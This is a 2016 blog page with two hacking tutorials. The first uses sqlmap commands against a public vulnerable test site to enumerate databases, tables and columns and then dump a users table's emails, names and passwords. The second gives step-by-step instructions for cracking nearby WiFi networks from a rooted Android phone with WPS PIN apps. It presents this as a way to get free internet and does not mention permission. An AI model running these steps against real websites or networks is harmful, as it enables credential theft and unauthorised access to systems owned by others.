N8Technologyhub

Friday, 13 May 2016

Hacking Website with Sqlmap in Kali Linux

Hacking Website with Sqlmap in Kali Linux


Kali Linux

First off, you need to have Kali linux (or backtrack) up and running on your machine. Any other Linux distro might work, but you'll need to install Sqlmap on your own. 


Sqlmap


A screenshot from the SQLmap official website

Basically its just a tool to make Sql Injection easier. Their official website  introduces the tool as -"sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections."
A lot of features can be found on the SqlMap website, the most important being - "Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB database management systems." That's basically all the database management systems. Most of the time you'll never come across anything other than MySql. 

Hacking Websites Using Sqlmap in Kali linux

Sql Version

Boot into your Kali linux machine. Start a terminal, and type -
sqlmap -h
It lists the basic commands that are supported by SqlMap. To start with, we'll execute a simple command
sqlmap -u . In our case, it will be-

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1
Sometimes, using the --time-sec helps to speed up the process, especially when the server responses are slow.
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --time-sec 15
Either ways, when sqlmap is done, it will tell you the Mysql version and some other useful information about the database.

The final result of the above command should be something like this.

Note: Depending on a lot of factors, sqlmap my sometimes ask you questions which have to be answered in yes/no. Typing y means yes and n means no. Here are a few typical questions you might come across-
  • Some message saying that the database is probably Mysql, so should sqlmap skip all other tests and conduct mysql tests only. Your answer should be yes (y).
  • Some message asking you whether or not to use the payloads for specific versions of Mysql. The answer depends on the situation. If you are unsure, then its usually better to say yes.

Enumeration

Database

In this step, we will obtain database name, column names and other useful data from the database.
                                            List of  a few common enumeration commands

So first we will get the names of available databases. For this we will add --dbs to our previous command. The final result will look like -
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs
        

 So the two databases are acuart and information schema.

Table

Now we are obviously interested in acuart database. Information schema can be thought of as a default table which is present on all your targets, and contains information about structure of databases, tables, etc., but not the kind of information we are looking for. It can, however, be useful on a number of occasions. So, now we will specify the database of interest using -D and tell sqlmap to enlist the tables using --tables command. The final sqlmap command will be-
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables

The result should be something like this -
Database: acuart
[8 tables]


+-----------+

| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+











Now we have a list of tables. Following the same pattern, we will now get a list of columns.
                                                     
                                                                       

Columns

Now we will specify the database using -D, the table using -T, and then request the columns using --columns. I hope you guys are starting to get the pattern by now. The most appealing table here is users. It might contain the username and passwords of registered users on the website (hackers always look for sensitive data).
The final command must be something like-
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --columns


The result would resemble this-


Data

Now, if you were following along attentively, now we will be getting data from one of the columns. While that hypothesis is not completely wrong, its time we go one step ahead. Now we will be getting data from multiple columns. As usual, we will specify the database with -D, table with -T, and column with -C. We will get all data from specified columns using --dump. We will enter multiple columns and separate them with commas. The final command will look like this.
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users -C email,name,pass --dump



 Here's the result



John Smith, of course. And the password is test. Email is email@email.com?? Okay, nothing great, but in the real world web pentesting, you can come across more sensitive data. Under such circumstances, the right thing to do is mail the admin of the website and tell him to fix the vulnerability ASAP. Don't get tempted to join the dark side. You don't look pretty behind the bars. That's it for this tutorial. Try to look at other columns and tables and see what you can dig up.

Friday, 6 May 2016

WiFi Hacking on Android Device

hacking wifi www.wizblogger.com

HACK WIFI AND CRACK WIFI PASSWORD FROM ANDROID EASILY

Everyone wants to Hack wifi from his mobile android devices.since everyone doesnt own a PC to crack the wifi password with kali linux.So In this tutorial you are going to learn how to hack any wifi from your mobile
So i am writing this article to teach you how to hack wifi easily from you mobile device.We are going to learn 2 different tricks to hack wifi password
Dont like Reading?Watch Video here

What you need to hack wifi password 

  • An Android Device
  • The Android phone must be Rooted
  • Good Wifi Signal ( you must be close to the wifi router to hack it FAST)
There are many fake application available on google play, We advice you to stay away from them as they are just FAKE and to waste your time  

Methods to Hack Wifi

  1. Using Wps Connect
  2. Using WIFI WPS WPA TESTER

1.WPS CONNECT

Most of you might have already encountered this application through playstore and thought that this is just another fake application to waste our time.But what if u tell you that this is a real and working application to hack wps enabled wifi?

To Start Hacking WIFI Follow The Steps Below

1. Install WPS Connect on your device
2.Open it and click on scan button
wifi hack android
3.This will show you all the available wifi networks in the nearby area
4.Now select the network which you want to hack
5.This will open a popup which will have pins. Just click on any pin and it will try that pin to hack password
wifi hack android 2
6.If it fails then try clicking on another pin and test again
7.If it fails again then read the bottom of this post
wifi hack android 3

 2.WPS WPA TESTER

Wps Wpa Tester is another application to crack wps enabled wifi networks.It is similar to wps connect but not that advance.

To start hacking follow the steps below

1.First you need to download wps wpa tester
2.Open it and click on scan networks.It will scan available wifi networks in your range.
You can only hack wifi networds which has green colored lock
wifi hack android 6
3.Now click the wifi network you want to hack (it’s lock should be green in color)
4.A popup will open showing list of pins available to crack the wifi.Just click on any pin and press “Try to Connect (root)” button
wifi hack android 7
5.Wait for few seconds while it try to connect
6.Congratulations you have successfully hacked a wifi network from your mobile.Enjoy your free Internet
wifi hack android 8

 
Top Reasons it will fail

  1. You are far away from the Router (Try reducing the distance to -60 and then try again)
  2. There is Mac filter installed on the router (so just forget about hacking this router from mobile and move on)
  3. The pin is incorrect (Try another pin)

 
TIP

If every thing above fails then just go to menu and click on automatic and wait 20-30 mins .It will automatically hack the wifi and auto connect to it else it will show you password in show password

 wifi hack android 5